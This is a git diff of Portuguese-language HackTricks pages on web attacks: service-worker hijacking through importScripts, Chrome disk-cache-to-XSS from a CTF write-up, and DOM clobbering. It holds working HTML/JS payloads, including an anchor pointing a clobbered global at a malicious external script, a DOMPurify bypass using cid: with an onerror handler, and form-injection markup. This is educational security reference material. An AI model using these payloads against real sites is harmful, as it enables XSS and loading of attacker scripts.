A diretiva de **cache de 24 horas** limita a vida de um **service worker (SW)** malicioso ou comprometido a no máximo 24 horas após a correção de uma vulnerabilidade de XSS, assumindo status de cliente online. Para minimizar a vulnerabilidade, os operadores do site podem reduzir o Tempo de Vida (TTL) do script do SW. Os desenvolvedores também são aconselhados a criar um [**interruptor de desativação do service worker**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) para desativação rápida.
A **diretiva de cache de 24 horas** limita a vida de um **service worker (SW)** malicioso ou comprometido a no máximo 24 horas após a correção de uma vulnerabilidade XSS, assumindo o status de cliente online. Para minimizar a vulnerabilidade, os operadores do site podem reduzir o Tempo de Vida (TTL) do script SW. Os desenvolvedores também são aconselhados a criar um [**kill-switch para service worker**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) para desativação rápida.
## Abusando do `importScripts` em um SW via DOM Clobbering
## Abusando de `importScripts` em um SW via DOM Clobbering
A função **`importScripts`** chamada de um Service Worker pode **importar um script de um domínio diferente**. Se esta função for chamada usando um **parâmetro que um atacante poderia** modificar, ele seria capaz de **importar um script JS de seu domínio** e obter XSS.
A função **`importScripts`** chamada de um Service Worker pode **importar um script de um domínio diferente**. Se essa função for chamada usando um **parâmetro que um atacante poderia** modificar, ele seria capaz de **importar um script JS de seu domínio** e obter XSS.
**Isso até mesmo burla as proteções CSP.**
**Isso até contorna as proteções CSP.**
**Exemplo de código vulnerável:**
@ -99,7 +99,7 @@ self.importScripts(host + "/sw_extra.js");
```
### Com DOM Clobbering
Para mais informações sobre o que é o DOM Clobbering, consulte:
Para mais informações sobre o que é DOM Clobbering, confira:
{% content-ref url="dom-clobbering.md" %}
[dom-clobbering.md](dom-clobbering.md)
@ -107,7 +107,7 @@ Para mais informações sobre o que é o DOM Clobbering, consulte:
Se a URL/domínio que o SW está usando para chamar **`importScripts`** estiver **dentro de um elemento HTML**, é **possível modificá-lo via DOM Clobbering** para fazer o SW **carregar um script do seu próprio domínio**.
Para um exemplo disso, consulte o link de referência.
Para um exemplo disso, confira o link de referência.
## Referências
@ -119,14 +119,17 @@ Para um exemplo disso, consulte o link de referência.
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}

View file

@ -1,50 +1,56 @@
# Chrome Cache to XSS
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}
Mais detalhes aprofundados [**neste artigo**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-spanote).
Mais detalhes [**neste artigo**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-spanote).
A técnica discutida aqui envolve entender o comportamento e a interação de dois tipos principais de cache: o **cache de avanço/volta (bfcache)** e o **cache de disco**. O bfcache, que armazena uma captura completa de uma página, incluindo o heap JavaScript, é priorizado sobre o cache de disco para navegações de avanço/volta devido à sua capacidade de armazenar uma captura mais abrangente. O cache de disco, por outro lado, armazena recursos obtidos da web sem incluir o heap JavaScript e é utilizado para navegações de avanço/volta para reduzir os custos de comunicação. Um aspecto interessante do cache de disco é a inclusão de recursos obtidos usando `fetch`, o que significa que os recursos de URL acessados serão renderizados pelo navegador a partir do cache.
A técnica discutida aqui envolve entender o comportamento e a interação de dois tipos principais de cache: o **back/forward cache (bfcache)** e o **disk cache**. O bfcache, que armazena uma captura completa de uma página, incluindo o heap do JavaScript, é priorizado em relação ao disk cache para navegações para frente/para trás devido à sua capacidade de armazenar uma captura mais abrangente. O disk cache, em contraste, armazena recursos buscados na web sem incluir o heap do JavaScript e é utilizado para navegações para frente/para trás para reduzir custos de comunicação. Um aspecto interessante do disk cache é sua inclusão de recursos buscados usando `fetch`, o que significa que os recursos de URL acessados serão renderizados pelo navegador a partir do cache.
### Pontos Chave:
- O **bfcache** tem precedência sobre o cache de disco em navegações de avanço/volta.
- Para utilizar uma página armazenada no cache de disco em vez do bfcache, este último deve ser desativado.
- O **bfcache** tem precedência sobre o disk cache em navegações para frente/para trás.
- Para utilizar uma página armazenada no disk cache em vez do bfcache, este último deve ser desativado.
### Desativando o bfcache:
Por padrão, o Puppeteer desativa o bfcache, alinhando-se com as condições listadas na documentação do Chromium. Um método eficaz para desativar o bfcache é através do uso de `RelatedActiveContentsExist`, alcançado abrindo uma página com `window.open()` que mantém uma referência a `window.opener`.
Por padrão, o Puppeteer desativa o bfcache, alinhando-se às condições listadas na documentação do Chromium. Um método eficaz para desativar o bfcache é através do uso de `RelatedActiveContentsExist`, conseguido ao abrir uma página com `window.open()` que mantém uma referência a `window.opener`.
### Reproduzindo o comportamento:
1. Visite uma página da web, por exemplo, `https://example.com`.
2. Execute `open("http://spanote.seccon.games:3000/api/token")`, o que resulta em uma resposta do servidor com um código de status 500.
3. Na nova aba aberta, navegue para `http://spanote.seccon.games:3000/`. Essa ação armazena a resposta de `http://spanote.seccon.games:3000/api/token` como cache de disco.
4. Use `history.back()` para navegar de volta. A ação resulta na renderização da resposta JSON em cache na página.
3. Na nova aba aberta, navegue para `http://spanote.seccon.games:3000/`. Esta ação armazena a resposta de `http://spanote.seccon.games:3000/api/token` como um disk cache.
4. Use `history.back()` para navegar de volta. A ação resulta na renderização da resposta JSON armazenada em cache na página.
A verificação de que o cache de disco foi utilizado pode ser confirmada através do uso do DevTools no Google Chrome.
A verificação de que o disk cache foi utilizado pode ser confirmada através do uso das DevTools no Google Chrome.
Para mais detalhes sobre bfcache e cache de disco, as referências podem ser encontradas em [web.dev sobre bfcache](https://web.dev/i18n/en/bfcache/) e nos [documentos de design do Chromium sobre cache de disco](https://www.chromium.org/developers/design-documents/network-stack/disk-cache/), respectivamente.
Para mais detalhes sobre bfcache e disk cache, referências podem ser encontradas em [web.dev sobre bfcache](https://web.dev/i18n/en/bfcache/) e [documentos de design do Chromium sobre disk cache](https://www.chromium.org/developers/design-documents/network-stack/disk-cache/), respectivamente.
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}

View file

@ -1,36 +1,39 @@
# Dom Clobbering
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## **Fundamentos**
## **Basics**
É possível gerar **variáveis globais dentro do contexto JS** com os atributos **`id`** e **`name`** em tags HTML.
```html
<form id=x></form>
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>
```
**Apenas** certos elementos podem usar o atributo **name** para sobrescrever variáveis globais, eles são: `embed`, `form`, `iframe`, `image`, `img` e `object`.
**Apenas** certos elementos podem usar o **atributo name** para clobber globais, eles são: `embed`, `form`, `iframe`, `image`, `img` e `object`.
Interessantemente, quando você usa um **elemento de formulário** para **sobrescrever** uma variável, você obterá o valor do **`toString`** do próprio elemento: `[object HTMLFormElement]` mas com **âncora** o **`toString`** será o **`href`** da âncora. Portanto, se você sobrescrever usando a tag **`a`**, você pode **controlar** o **valor** quando ele é **tratado como uma string**:
Curiosamente, quando você usa um **elemento de formulário** para **clobber** uma variável, você obterá o valor **`toString`** do próprio elemento: `[object HTMLFormElement]`, mas com **âncora** o **`toString`** será o **`href`** da âncora. Portanto, se você clobber usando a **tag `a`**, você pode **controlar** o **valor** quando é **tratado como uma string**:
```html
<a href="controlled string" id=x></a>
<script>
console.log(x);//controlled string
</script>
```
### Arrays & Atributos
### Arrays & Attributes
Também é possível **sobrescrever um array** e **atributos de um objeto**:
Também é possível **substituir um array** e **atributos de objeto**:
```html
<a id=x>
<a id=x name=y href=controlled>
@ -39,7 +42,7 @@ console.log(x[1])//controlled
console.log(x.y)//controlled
</script>
```
Para sobrescrever **um terceiro atributo** (por exemplo, x.y.z), você precisa usar um **`form`**:
Para sobrescrever **um atributo** (por exemplo, x.y.z), você precisa usar um **`form`**:
```html
<form id=x name=y><input id=z value=controlled></form>
<form id=x></form>
@ -47,14 +50,14 @@ Para sobrescrever **um terceiro atributo** (por exemplo, x.y.z), você precisa u
alert(x.y.z.value)//controlled
</script>
```
Substituir mais atributos é **mais complicado, mas ainda possível**, usando iframes:
Clobbering mais atributos é **mais complicado, mas ainda possível**, usando iframes:
```html
<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
<style>@import 'https://google.com';</style>
<script>alert(x.y)//controlled</script>
```
{% hint style="warning" %}
A tag style é usada para **dar tempo suficiente ao iframe para ser renderizado**. Sem ela, você encontrará um alerta de **indefinido**.
A tag de estilo é usada para **dar tempo suficiente para o iframe renderizar**. Sem ela, você encontrará um alerta de **undefined**.
{% endhint %}
Para sobrescrever atributos mais profundos, você pode usar **iframes com codificação html** desta forma:
@ -65,9 +68,9 @@ Para sobrescrever atributos mais profundos, você pode usar **iframes com codifi
alert(a.b.c.d.e)//controlled
</script>
```
### **Burlando Filtros**
### **Contorno de Filtros**
Se um filtro está **iterando** pelas **propriedades** de um nó usando algo como `document.getElementByID('x').attributes`, você poderia **sobrescrever** o atributo **`.attributes`** e **quebrar o filtro**. Outras propriedades do DOM como **`tagName`**, **`nodeName`** ou **`parentNode`** e mais também são **sobrescrevíveis**.
Se um filtro estiver **percorrendo** as **propriedades** de um nó usando algo como `document.getElementByID('x').attributes`, você poderia **clobber** o atributo **`.attributes`** e **quebrar o filtro**. Outras propriedades do DOM como **`tagName`**, **`nodeName`** ou **`parentNode`** e mais também são **clobberáveis**.
```html
<form id=x></form>
<form id=y>
@ -78,13 +81,13 @@ console.log(document.getElementById('x').nodeName)//FORM
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
</script>
```
## **Sobreposição de `window.someObject`**
## **Clobbering `window.someObject`**
Em JavaScript é comum encontrar:
Em JavaScript, é comum encontrar:
```javascript
var someObject = window.someObject || {};
```
Manipular o HTML na página permite substituir `someObject` por um nó DOM, potencialmente introduzindo vulnerabilidades de segurança. Por exemplo, você pode substituir `someObject` por um elemento de âncora apontando para um script malicioso:
Manipular HTML na página permite substituir `someObject` por um nó DOM, potencialmente introduzindo vulnerabilidades de segurança. Por exemplo, você pode substituir `someObject` por um elemento âncora apontando para um script malicioso:
```html
<a id=someObject href=//malicious-website.com/malicious.js></a>
```
@ -101,25 +104,25 @@ document.body.appendChild(script);
```
Este método explora a fonte do script para executar código indesejado.
**Truque**: **`DOMPurify`** permite usar o protocolo **`cid:`**, que **não codifica em URL as aspas duplas**. Isso significa que você pode **injetar uma aspa dupla codificada que será decodificada em tempo de execução**. Portanto, injetar algo como **`<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">`** fará com que o `&quot;` codificado em HTML seja **decodificado em tempo de execução** e **escapar** do valor do atributo para **criar** o evento **`onerror`**.
**Truque**: **`DOMPurify`** permite que você use o **`cid:`** protocolo, que **não codifica em URL aspas duplas**. Isso significa que você pode **injetar uma aspa dupla codificada que será decodificada em tempo de execução**. Portanto, injetar algo como **`<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">`** fará com que a HTML codificada `&quot;` seja **decodificada em tempo de execução** e **escape** do valor do atributo para **criar** o evento **`onerror`**.
Outra técnica usa um elemento **`form`**. Certas bibliotecas do lado do cliente inspecionam os atributos de um elemento de formulário recém-criado para limpá-los. No entanto, ao adicionar um `input` com `id=attributes` dentro do formulário, você efetivamente sobrescreve a propriedade de atributos, impedindo o sanitizador de acessar os atributos reais.
Outra técnica usa um elemento **`form`**. Certas bibliotecas do lado do cliente inspecionam os atributos de um novo elemento de formulário criado para limpá-los. No entanto, ao adicionar um `input` com `id=attributes` dentro do formulário, você efetivamente sobrescreve a propriedade de atributos, impedindo que o sanitizador acesse os atributos reais.
Você pode [**encontrar um exemplo desse tipo de clobbering neste relatório de CTF**](iframes-in-xss-and-csp.md#iframes-in-sop-2).
Você pode [**encontrar um exemplo desse tipo de clobbering neste writeup de CTF**](iframes-in-xss-and-csp.md#iframes-in-sop-2).
## Sobrescrevendo o objeto documento
## Clobbering do objeto documento
De acordo com a documentação, é possível sobrescrever atributos do objeto documento usando o DOM Clobbering:
De acordo com a documentação, é possível sobrescrever atributos do objeto documento usando DOM Clobbering:
> A interface [Document](https://html.spec.whatwg.org/multipage/dom.html#document) [suporta propriedades nomeadas](https://webidl.spec.whatwg.org/#dfn-support-named-properties). Os [nomes de propriedades suportados](https://webidl.spec.whatwg.org/#dfn-supported-property-names) de um objeto [Document](https://html.spec.whatwg.org/multipage/dom.html#document) document em qualquer momento consistem no seguinte, em [ordem de árvore](https://dom.spec.whatwg.org/#concept-tree-order) de acordo com o elemento que os contribuiu, ignorando duplicatas posteriores e com valores dos atributos [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) vindo antes dos valores dos atributos de nome quando o mesmo elemento contribui com ambos:
> A interface [Document](https://html.spec.whatwg.org/multipage/dom.html#document) [suporta propriedades nomeadas](https://webidl.spec.whatwg.org/#dfn-support-named-properties). Os [nomes de propriedades suportados](https://webidl.spec.whatwg.org/#dfn-supported-property-names) de um objeto [Document](https://html.spec.whatwg.org/multipage/dom.html#document) em qualquer momento consistem no seguinte, em [ordem de árvore](https://dom.spec.whatwg.org/#concept-tree-order) de acordo com o elemento que as contribuiu, ignorando duplicatas posteriores, e com valores de atributos [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) vindo antes de valores de atributos de nome quando o mesmo elemento contribui com ambos:
>
> \- O valor do atributo de conteúdo de nome para todos os elementos [expostos](https://html.spec.whatwg.org/multipage/dom.html#exposed) [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element), [form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element), [iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element), [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) e elementos [expostos](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) que têm um atributo de conteúdo de nome não vazio e estão [em uma árvore de documentos](https://dom.spec.whatwg.org/#in-a-document-tree) com o documento como sua [raiz](https://dom.spec.whatwg.org/#concept-tree-root);\
> \- O valor do atributo de conteúdo name para todos os elementos [expostos](https://html.spec.whatwg.org/multipage/dom.html#exposed) [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element), [form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element), [iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element), [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) e [expostos](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) que têm um atributo de conteúdo name não vazio e estão [em uma árvore de documento](https://dom.spec.whatwg.org/#in-a-document-tree) com documento como seu [raiz](https://dom.spec.whatwg.org/#concept-tree-root);\
> \
> \- O valor do atributo de conteúdo [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) para todos os elementos [expostos](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) que têm um atributo de conteúdo [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) não vazio e estão [em uma árvore de documentos](https://dom.spec.whatwg.org/#in-a-document-tree) com o documento como sua [raiz](https://dom.spec.whatwg.org/#concept-tree-root);\
> \- O valor do atributo de conteúdo [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) para todos os elementos [expostos](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) que têm um atributo de conteúdo [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) não vazio e estão [em uma árvore de documento](https://dom.spec.whatwg.org/#in-a-document-tree) com documento como seu [raiz](https://dom.spec.whatwg.org/#concept-tree-root);\
> \
> \- O valor do atributo de conteúdo [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) para todos os elementos [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) que têm tanto um atributo de conteúdo [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) não vazio quanto um atributo de conteúdo de nome não vazio, e estão [em uma árvore de documentos](https://dom.spec.whatwg.org/#in-a-document-tree) com o documento como sua [raiz](https://dom.spec.whatwg.org/#concept-tree-root).
> \- O valor do atributo de conteúdo [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) para todos os elementos [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) que têm tanto um atributo de conteúdo [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) não vazio quanto um atributo de conteúdo name não vazio, e estão [em uma árvore de documento](https://dom.spec.whatwg.org/#in-a-document-tree) com documento como seu [raiz](https://dom.spec.whatwg.org/#concept-tree-root).
Usando essa técnica, você pode sobrescrever valores comumente usados como `document.cookie`, `document.body`, `document.children` e até métodos na interface Document como `document.querySelector`.
Usando essa técnica, você pode sobrescrever **valores comumente usados, como `document.cookie`, `document.body`, `document.children`**, e até mesmo métodos na interface Document como `document.querySelector`.
```javascript
document.write("<img name=cookie />")
@ -138,9 +141,9 @@ HTMLCollection(2) [img, form, cookie: img]
typeof(document.cookie)
'object
```
## Escrevendo após o elemento sobrescrito
## Escrevendo após o elemento clobrado
Os resultados das chamadas para **`document.getElementById()`** e **`document.querySelector()`** podem ser alterados injetando uma tag `<html>` ou `<body>` com um atributo id idêntico. Veja como pode ser feito:
Os resultados das chamadas para **`document.getElementById()`** e **`document.querySelector()`** podem ser alterados ao injetar uma tag `<html>` ou `<body>` com um atributo id idêntico. Veja como isso pode ser feito:
```html
<div style="display:none" id="cdnDomain" class="x">test</div>
<p>
@ -150,7 +153,7 @@ alert(document.getElementById('cdnDomain').innerText); // Clobbered
alert(document.querySelector('.x').innerText); // Clobbered
</script>
```
Além disso, ao empregar estilos para ocultar essas tags HTML/body injetadas, a interferência de outros textos no `innerText` pode ser evitada, aumentando assim a eficácia do ataque:
Além disso, ao empregar estilos para ocultar essas tags HTML/body injetadas, a interferência de outro texto no `innerText` pode ser evitada, assim aumentando a eficácia do ataque:
```html
<div style="display:none" id="cdnDomain">test</div>
<p>existing text</p>
@ -170,7 +173,7 @@ Investigações sobre SVG revelaram que uma tag `<body>` também pode ser utiliz
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>
```
Para que a tag HTML funcione dentro do SVG em navegadores como o Chrome e o Firefox, é necessário uma tag `<foreignobject>`:
Para que a tag HTML funcione dentro do SVG em navegadores como Chrome e Firefox, uma tag `<foreignobject>` é necessária:
```html
<div style="display:none" id="cdnDomain">example.com</div>
<svg>
@ -182,9 +185,11 @@ Para que a tag HTML funcione dentro do SVG em navegadores como o Chrome e o Fire
alert(document.getElementById('cdnDomain').innerText); // Clobbered
</script>
```
## Substituindo Formulários
## Clobbering Forms
É possível adicionar **novas entradas dentro de um formulário** apenas especificando o atributo `form` dentro de algumas tags. Você pode usar isso para **adicionar novos valores dentro de um formulário** e até mesmo adicionar um novo **botão** para **enviá-lo** (clickjacking ou abusando de algum código JS `.click()`):
É possível adicionar **novas entradas dentro de um formulário** apenas **especificando o atributo `form`** dentro de algumas tags. Você pode usar isso para **adicionar novos valores dentro de um formulário** e até mesmo adicionar um **botão** para **enviá-lo** (clickjacking ou abusando de algum código JS `.click()`):
{% code overflow="wrap" %}
```html
<!--Add a new attribute and a new button to send-->
<textarea form=id-other-form name=info>
@ -196,22 +201,25 @@ Click to send!
```
{% endcode %}
* Para mais atributos de formulário em [**botão, confira isso**](https://www.w3schools.com/tags/tag\_button.asp)**.**
* Para mais atributos de formulário em [**botão confira isso**](https://www.w3schools.com/tags/tag\_button.asp)**.**
## Referências
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
* [https://portswigger.net/web-security/dom-based/dom-clobbering](https://portswigger.net/web-security/dom-based/dom-clobbering)
* Heyes, Gareth. JavaScript for hackers: Aprenda a pensar como um hacker.
* Heyes, Gareth. JavaScript para hackers: Aprenda a pensar como um hacker.
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
